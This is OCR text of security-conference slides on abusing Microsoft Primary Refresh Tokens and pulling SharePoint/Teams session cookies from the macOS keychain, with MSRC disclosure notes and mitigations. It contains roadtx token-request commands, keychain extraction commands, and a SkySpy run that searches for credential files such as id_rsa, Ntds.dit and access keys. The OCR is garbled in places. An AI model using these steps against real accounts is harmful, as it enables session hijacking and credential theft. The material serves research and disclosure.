rLOCol1Crs_qpy_fcRcqUc9Y4a950hInvn5FhBEaSkntLOOPNntfBSewl-hU2GQggn7Yd66s7FSrPBYIZ0qfs6-0yiBwySE4h47EJYLmEn2wAOnoistTHsqy
K77Hk

Obtained session key:
Saved PRT to roadtx.prt




Using PRTVY to request tokens

(ROADtools) X roadtx prtauth -v4 -s https://graph.microsoft.com/.default -c msteams --cert-p
em troopers.pem --key-pem troopers.key

Tokens were written to .roadtools_auth

(ROADtools) X roadtx describe | jq .

{




Attacking PRTs on Windows
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(Partial) Mitigations

Options to consider to lower the abuse potential.
Please note that none will provide full protection:

Conditional access policies

Require only compliant devices

Restrict device registration to max 1 per user if possible

Limit token lifetime on non-corporate or non-managed devices

Create detections based on a user registering a new device from a registered device
Microsoft is working on patching the vulnerable flow we did not discuss.

Additionally, Microsoft is exploring additional mechanisms to disallow reuse of tokens for device
registration.

- o




Future work ;)

RFCs (33)

Date V¥  Title ¢

Apr 2016 Proof-of-Possession Key Semantics for JSON Web Tokens (JWTs)

Aug 2019 OAuth 2.0 Device Authorization Grant

Aug 2020 Registries for Web Authentication (WebAuthn)

Aug 2020 CBOR Object Signing and Encryption (COSE) and JSON Object Signing and Encryption (JOSE) Registrations for Web Authentication (WebAuthn) Algorithms

Aug 2021 The OAuth 2.0 Authorization Framework: JWT-Secured Authorization Request (JAR)

Aug 2022 JWK Thumbprint URI

Feb 2016 JSON Web Signature (JWS) Unencoded Payload Option

Feb 2020 JSON Web Token Best Current Practices

Jan 2020 OAuth 2.0 Token Exchange

Jul 2015  OAuth 2.0 Dynamic Client Registration Protocol

Jul 2015 OAuth 2.0 Dynamic Client Registration Management Protocol

Jul 2018  Security Event Token (SET)

Jun 2017 Authentication Method Reference Values

Jun 2018 OAuth 2.0 Authorization Server Metadata

Jun 2024 CBOR Object Signing and Encryption (COSE) "typ" (type) Header Parameter

Mar 2020 Proof-of-Possession Key Semantics for CBOR Web Tokens (CWTs)

May 2015 JSON Web Signature (JWS) 42 RFCs
May 2015 JSON Web Encryption (JWE) 25 RFCs
May 2015 JSON Web Key (JWK) 24 RFCs
May 2015 JSON Web Algorithms (JWA) 28 RFCs
May 2015 JSON Web Token (JWT)

May 2015 Assertion Framework for OAuth 2.0 Client Authentication and Authorization Grants

May 2015 Security Assertion Markup Language (SAML) 2.0 Profile for OAuth 2.0 Client Authentication and Authorization Grants

May 2015 JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants

May 2018 CBOR Web Token (CWT)

Nov 2020 Push-Based Security Event Token (SET) Delivery Using HTTP

Nov 2020 Poll-Based Security Event Token (SET) Delivery Using HTTP

Nov 2020 Concise Binary Object Representation (CBOR) Tags for Date

Oct 2012 The OAuth 2.0 Authorization Framework: Bearer Token Usage

Sep 2013 WebFinger

Sep 2015 JSON Web Key (JWK) Thumbprint

Sep 2017 Using RSA Algorithms with CBOR Object Signing and Encryption (COSE) Messages

Sep 2023 OAuth 2.0 Demonstrating Proof of Possession (DPoP)

https://datatracker.ietf.org/person/michael.jones@microsoft.com




The End

Thank you for listening, questions?

@_dirkjan | @olafhartong






It turned out the Microsoft

O
Oth k h While perusing the keychain we
er eyc a'n stumbled upon some interesting OneDrive dev team had an
interesting implementation of
treasures

other data
their session cookies




Unprotected SPO cookies

Microsoft Office Identities Cache 3

View Window Help Microsoft Office Identities Cache 3

Sort By Attributes  Access Control

Show Expired Certificates : Mame: Microsoft Office Identities Cache 3

Kind: application password

Hide Summary S

o Account: Microsoft Office Identities Cache 3
Show Invisible Items
Where:

Hide Sidebar Comments:

Enter Full Screen

¥ Show password:




i LockSmith (Public & Watch 6 ~ % Fork 6 -

¥ main ~ ¥ 1Branch 0> 0 Tags ( t Add file ~ <> Code ~ About

ObjectiveC CLI tool for interacting with

¥ its-a-feature Adding in the slides for the presentation d01a435 - 2 years ago (L) 4 Commits macOS Keychain
BB LockSmith.xcodeproj Initial push for OBTS v5.0 2 years ago 0 Readme
53 BSD-3-Clause license
B LockSmith Temporary fix for weird semi-null comment fields 2 years ago
- Activity

[3 LICENSE.md Initial commit 2 years ago 70 stars

- . L . . = 6 watching

[ Lock Picking the macOS Keychain - OBTS.p... Adding in the slides for the presentation 2 years ago N
’ 6 forks

[ README.md Initial push for OBTS v5.0 2 years ago Report repository

[ locksmithlitejxa.js Initial push for OBTS v5.0 2 years ago
Releases

0 README 38 BSD-3-Clause license V4

Packages

LockSmith e
No password or credentials of the user required to retrieve this info

LockSmith is an Objective-C CLI tool for interacting with the macOS file-based Keychains through native APIs. Languages

Compiling the XCode project will generate both the LockSmith MachO file along with a LockSmithDylib Dylib — —
that can be used for injection into other programs. The dylib's execution takes place in the constructor located at o s O Lo Al

YO u Ca n u Se LOC kS m i't h * the bottom of the main.m file. Because this sort of execution doesn't really allow passing in of parameters, you e Cash

need to edit the exec function directly with the parameters you want to use for your search before you compile.

htt DS ://g it h U b o CO m/ itS_a_fe at U re/ LOC kS m it h LockSmithLiteJXA is a smaller JXA-based version of LockSmith so that you can get similar functionality while

running under the context of an apple signed binary (osascript). This is helpful if you need to match a partitionID of

apple: or apple-tool: .

Alternatively you can also use the native security command

security find-generic-password -1 "Microsoft Office Identities Settings 3"

Or via the Apple APIs if you're into Swift



https://github.com/its-a-feature/LockSmith
https://github.com/its-a-feature/LockSmith

Unprotected SPO cookies

Keychain Entry 26

Account: Microsoft Office Identities Cache 3
Label: Microsoft Office Identities Cache 3
Service: ACLS

Creation Da —- Entry @
Mod ify' Date Description: Microsoft Office Identities Settings 3
All applications are trusted
Class: Authorizations:
Invisible: ACLAuthorizationEncrypt
Entry 1
Description: Microsoft Office Identities Settings 3
Owner Autho Trusted App: /Applications/Microsoft Outlook.app
Owner Autho Requirement String: identifier "com.microsoft.Outlook" and anchor apple generic and certificate 1[field.1.2.848.113635.180.6.2.6] /+ exists */ and certificate leafl[field.1.2.848.113635.100.6.1.13] /+ exists %/ and
certificate leaf[subject.0U] = UBF8T346G9
ACLAuth Authorizations:
ACLAuTh ACLAuthorizationDecrypt
ACLAUTh ACLAuthorizationDerive
ACLAuth: ACLAuthorizationExportClear
ACLAuthorizationExportwWrapped
ACLAuth: ACLAuthorizationMAC
ACLAuth ACLAuthorizationSign
Entry 2
ACLAuth Description: 25a87dc3387733343dc46bdBbBaB947b82779cabf9549152e14al13caad339%1
ACLAUTh All applications are trusted
ACLAuthi Authorizations:
ACLAuthorizationIntegrity
Entry 3
Allowed Code Signatures: teamid:UBF8T346G9
TeamID doesn't match current application: nil
Description:
3c31786d6c2076657273696T6e3d22312e302220656e636T64696e673d225554462d38223T3ePa3c214447435459504528706c697374205055424c494320222d212T4170706c652T27445444208504c49535420312e387
36T6d2T445444732 1507261 70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696T6e3d22312e30223e0a3c646963743e0a093c6b65793e50617274697469676e733c2TEbB5793eR273C
4246385433343647393c21737472696e673e02093c2T61727261793e0a3c2Th46963743e0a3c2T706C6973743e0a o i‘ 7
All applications are trusted ‘ >, v :;
Buthorizations: et 4
ACLAuthorizationPartitionID
Entry 4
Description: Microsoft Office Identities Settings 3
Mo applications are trusted
Authorizations:
ACLAuthorizationChangeACL
[-] Cannot get password data without prompting due to: not a trusted application or missing required authorizations

General:




Unprotected Teams cookies

time: 2ms

length: 5785 ra
GUtpu.t ?Eﬁes: ] a I_D m -
bplist@00...B_.)fe8dd548-19ca-4624-86d3-8fe@16eb8253_ADAL_.)5c72d5ce-10cf-4672-908c-bf6107c22a8b_ADALB.......
.................. 123'.5..67(.+.8.":"'.@A[CompanyName_..FederationProviderExpiration_.$fe8d0548-19ca-4624-86d3-

8fe@16eb8253[LibraryType\EmailAddress\FriendlyName~EmailAddresses_..PersistedOutlook [PhoneNumberXProvider_..PreferredUserna

meXLastNameZSigninName_..FederationProviderXAgeGroupXLocationSIdPYFirstNameXInitialsWFlowUrl]lHasHomeTenant~SP0CookieCacheYP

ersistedWPictureZProfilelUrl_..S5ignedIn0OutlookOnlyP_..2022-12-

31T14:09:347Zx ! "#5.%8" ( )%+, /\IsHomeTenantZErrorState\AuthorityUrlXUniquelId [AuthHistoryXTenantId
_.1lhttps://login.windows.net/common/oauth2/authorize_. $fe8d0548-19ca-4624-86d3-

8fe@l6eb8253..N-.]1LastLoginTime..U. XWi. _.%$a92a42cd-bf8c-46ba-aade-64cbc9e@30d9.._..olaftesting@falconforce.io_..olaf mac

test userR[] . $Te8d0548-19ca-4624-86d3-8fe@16eb8253_..o0laftesting@falconforce.io_.. {"environment":"Global","endpoint":
[{"type": “HSA","authentlcatlnn _endpoint":"https://login. llve com/oauth20_authorize. srf" "token_endpoint":"https://login. llv
e.com/oauth2@_token.srf"}, ’31,

{"type":"0rgIld","authentication_endpoint":"https://login.microsoftonline.com/common/oauth2/authorize","token_endpoint"
ps://login.microsoftonline.com/common/oauth2/token"}],"tenantId":"a92a42cd-bf8c-46ba-aade-
64cbcB9e®30d9","authority_host":"login.microsoftonline.com","graph":"https://graph.microsoft. cnm","telemetryﬂeglnn" At
}Tomtu O;<=>_.,https://falconforceballpit-my.sharepoint.com_.)https://falconforceballpit.sharepoint.com0. it A%
¢5.P.0.I.D.C.R.L.=.7.7.u./.P.D.9.4.b.W.w.g.d.m.V.y.c.2. L.v.b.].0.1.M.5.4.w.I.1.B. L.b.m.N.v.Z.6G. LLu.Z.z.0.1.d. X.R.| &
P.z.4.8.U.1.A.+.V.j.E.z.L.D.B.o.L.m.Z.8.b.W.V.t.Y.m.V.y.c.2.h.p.c.H.w.X.M.D.A. z.M. j . A.w.M.j.U.5.M.2.V.m.Z.m. Z.
UJ.u.Y.2.9.t.L.D.A.i.L.m.Z.8.b.W. V. t.Y.m.V.v.c.2.h.p.c.H.x.v.b.G.F.m.d.G.V.z.d.G. L.u.Z.8.B.m.Y.W.x.1.b.2.5.




Unprotected Teams cookies

A clean way to process these bplists is to convert them to a better readable
and parsable XML format. This can be done natively on a Mac with the
following command:

plutil -convert xmll [filename]




Unprotected Teams cookies

<key>FriendlyName</key>

<s5tring=olaf mac test user</string=

<key>HasHomeTenant</key> The data field is again base64 encoded and formatted as

<true/>

<key>IdP</key> UTF1 6-I._E. It contains a SPOCookieCache cookie for an

<integer>4</integer> authenticated session.

<key>Initials</key>

=string>omtu</string>

<key>LastName</key>

bl pen il start: 1293 time: 3ms
<key>LibraryType</key> Gutput end: 1293 Llength: 1373
<integer>3</integer> Length: 8 Lines: 1
<key>Location</key=> . . . . . .
e I e SPOIDCRL=77u/PD94bWwgdmVyc2lvbj@iMS4wIiB lbmNvZGluZz@idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2ZhpcHwxMDAZM],
<key>Persisted</key> Y29t LDAjLmZBbWVtYmVyc2ZhpcHxvbGFmdGYzdGluZ@BmYWxjb25mb3]) Z55pbywxMzMxNj g4Mj k30TAWMDAWMDASMTMzMTUBMz Q3MD gy
‘;Wﬂf edOut ook TgwMDAYNDgz0Sw2NS4yMS4yMTQuMT cyLDQ2MTE20DYwWMTg@Mj czODCcSNzMsY TkyYTQyY2QtYmY4Yy@@NmIhLWFhNGUENjRj YmM5ZTAzZI
ALk b de E3LTRhZWItYmM2NCOWNTc@OTRjNjhkNDQsYWM10Dg3YTAtNDBjNSOIMDAWLWUSYmUtZDIwY TkwOTgzN2VilLGFjNTgAN2EWLTQwYzUtN
<key>PhoneNumber</key> 4Mzd LY iwsMCwwLDAsLDQ3NWUxMmQzLTBj OWMENGEXY i1iNWY2LTUwZ j cwZGQ4ZjRkNSx 1eUo@Y Lh0Z Lky TWLPaUp iWENKRFVERmNIbD

<string></string> 50Tk5LDEzMzE20Dqg

<key>Picture</key>

<string></string>

<key>PreferredUsername</key>

<string></string>

<key>Profilelrl</key=>

<string>https://falconforceballpit-my.sharepoint.com/person.aspx</string>

<key>Provider</key>

<s5tring>feB8d8548-19ca-4624-86d3-8fe@16ebB8253</string>

<key>5P0CookieCache</key>

<dict>
<key=https://falconforceballpit-my.sharepoint.com</key>
<data>
UwBOAEBAS(BEAEMAUgBMAD@ANWAIAHUALWBQAEQADQABAGIAVWES
AGCAZABTAFYAe(QB)ADIAbABZAGIAagAWAGKATOBTADQAdWBIAGKA
O0gBsAGIAbQOBOAHYAWgBHAGwAd(QBaAHoAMABpAGQAWABSAGBATABU
AGcAaQBQAHoANAA4AFUAMOBBACsAVgBgAEUAegBMAEQADgBVAEWA




Unprotected Teams cookies

Since the cookie has a lifetime of several days this will be more than enough time for
an attacker to retrieve all files, emails and other information the user has access to,
possibly tamper with them and or use them for ransom or internal phishing purposes.

The cookie also works for all SharePoint sites, where the user has access.




No security issue

Security impact - Information Disclosure

15 Mar 2023 — Reported to MSRC
31 Mar 2023 - Closed by MSRC as not a Vulnerability, to be fixed by product team

Today, the issue still has not been patched...




SkySpy

olafhartong ~/OxFF-Code/SkySPy = 1.22.4 = 21:33:57 ./SkySPy -TenantName falconforce -Hoard -SpoCookie i
9tLDA;jLmZ8bWVtYmVyc2hpcHxvbGFmQGZhbGNvbmZvcmN1LmS5sLDEzMzYyNTYONTY4MDAwWMDAWMCwxMzM2MjQxMDcOMTAWMDAWMDASMTMZzN It
zZjMzE4LTEZZmMtNDIOO0S1hM2V1LWQOYjhhNTMzOGNKMCwwODg2MzFhMSO1IMGFmLTgwMDAtZWY1NyO3NmQ2MT cwY TkwOGESMDg4NjMxYTEENTE
UOk2SW10dV1XaHZ0alplTmlOeGEyUm1SemgOYkUxVVFVRWImUTOOLDI2NTAONjc3NDMS0TK50TK50TksMTMzNjI1NjQ1NjgwMDAWMDAWL GRhOL
2c1RwMytVT5Y2UVZtdOdiR1IBcFNiOWZya2tKMNNKREZIRE9HalhWejcOcFRWMGIXZDI4TFFzc2RNVEI1ROJtSzNuVEpmalhsWT10Mkd6Qk5PL
BNN3BQYOVMSkJiZ2JLbFN4ZktsUlIveVNZODQyRUhOKzMwYnNQeWtJcGx1Uk9uSFpQNOxCSHhaSFhOUmS0VnpNVExmb1FRAOhMVVBiK3Z1b3Q]
Hoard mode enabled
Searching for: FileName:web.config, '"net use'", password, FileName:sysprep.inf, FileName:vnc.ini, FileName:unattended.xml, SecureString, FileName:web-config.php, FileName:winscp.ini, FileName:id rsa, FileName:*.vbs, FileName:*.p
em, FileName:Ntds.dit, passwd, aws_access_key, azure_access_key, app_secret, FileName:config.*, FileName:*password*.*, client_secret, KEY , X-Authentication

STAfEA
STARSIRE 6
T 7Y7 1 75#B5YY~
BONT TR .1 :700QQQQ&? .
120~122Y7, $?2YYJ? I~ L YHEQ&&@BY~.
S IHGEYS 157 !S5Y??PB##BGIN7BQQ&&&&G? .
. YB#&QQ&! :5?27775#8&E&E&E&B!  7BQ&&&H&G
. YBH&&&S&S ! N7 v [ YHEEEES! 7BREEEEEEE .
7BHEEEEES! O&&EE&E&EEEG .
! 00EEEQ@°? .YY?JYYSYSP&&D . YQ@EQE@E@S .
~&O&QQEB . 'YSPPBBPJJBJ HGIEEEEEEN
: B&&&@@@P : AN VTYESHEBBHE? NYG&QQ@EEEEBN
' @Q&QQQ&SHGS? ! ~?B&EH##BPGOQ&QA&QA&Y #0QQEQREQ&
: Y&00QQQQQQQQQ&OHEEEEEES&Q&EH &&&Q&SH#&QQQQQEETD
: ?B0QQQAEEEAQA--->SkySPy<--- vO.1 @@QQQQ&Y.
ATY GHQQQOOSHH#HHESESH HHHEE&EH #HEEEEEQEQAY

kkkkkkkkkkkkkkhkkkkhkkkhkkkhkkkkhkkhkkkhkkkkkkkkkkkkkx

2024/06/16 21:34:25 Searching for FileName:web.config

2024/06/16 21:34:25 Storing results in: 2024-06-16_21-34-25-FileName:web.config
kkkkkkkkkkkkkkkkkkkkkkkkkhkhkkkkkkkkkkkkkkkk




Thank You!
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